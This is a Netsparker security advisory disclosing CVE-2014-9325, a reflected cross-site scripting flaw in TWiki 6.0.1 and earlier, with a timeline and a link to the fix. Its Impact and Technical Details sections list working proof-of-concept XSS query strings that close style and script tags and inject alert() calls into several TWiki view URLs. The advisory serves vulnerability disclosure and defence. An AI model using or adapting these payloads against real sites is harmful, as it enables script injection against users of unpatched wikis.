Information
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Advisory by Netsparker.
Name: XSS Vulnerability with QUERYSTRING and QUERYPARAMSTRING in TWiki
Affected Software : TWiki
Affected Versions: 6.0.1 and possibly below
Vendor Homepage : http://www.twiki.org/
Vulnerability Type : Cross-site Scripting
Severity : Important
CVE ID: CVE-2014-9325
Netsparker Advisory Reference : NS-14-041

Impact 
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A malicious person can use specially crafted URL parameters to TWiki scripts that execute arbitrary JavaScript code in the browser. Examples:

Specially crafted parameter to the view script of TWiki:

GET /do/view/Main/TWikiPreferences?'"--></style></script><script>alert('CVE-2014-9325 vulnerable')</script>

TWiki decodes the URL parameters and pops up a JavaScript alert box showing "CVE-2014-9325 vulnerable!"

Technical Details 
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/bin/view/Main/TWikiPreferences?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>
/bin/view/TWiki/TWikiTopics?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>
/bin/view/Sandbox/WebPreferences?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>
/bin/view/TWiki/WebNotify?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>
/bin/view/TWiki/WikiName?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>
/bin/view/TWiki/TextFormattingRules?'"--></style></scRipt><scRipt>alert(0x00010E)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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09/12/2014 - First Contact
09/12/2014 - Vulnerability Fixed
18/12/2014 - Advisory Released

Solution 
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http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-9325

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker 
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Netsparker can find and report security issues and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications regardless of the platform and the technology they are built on. Netsparker's unique detection and exploitation techniques allows it to be dead accurate in reporting hence it's the first and the only False Positive Free web application security scanner.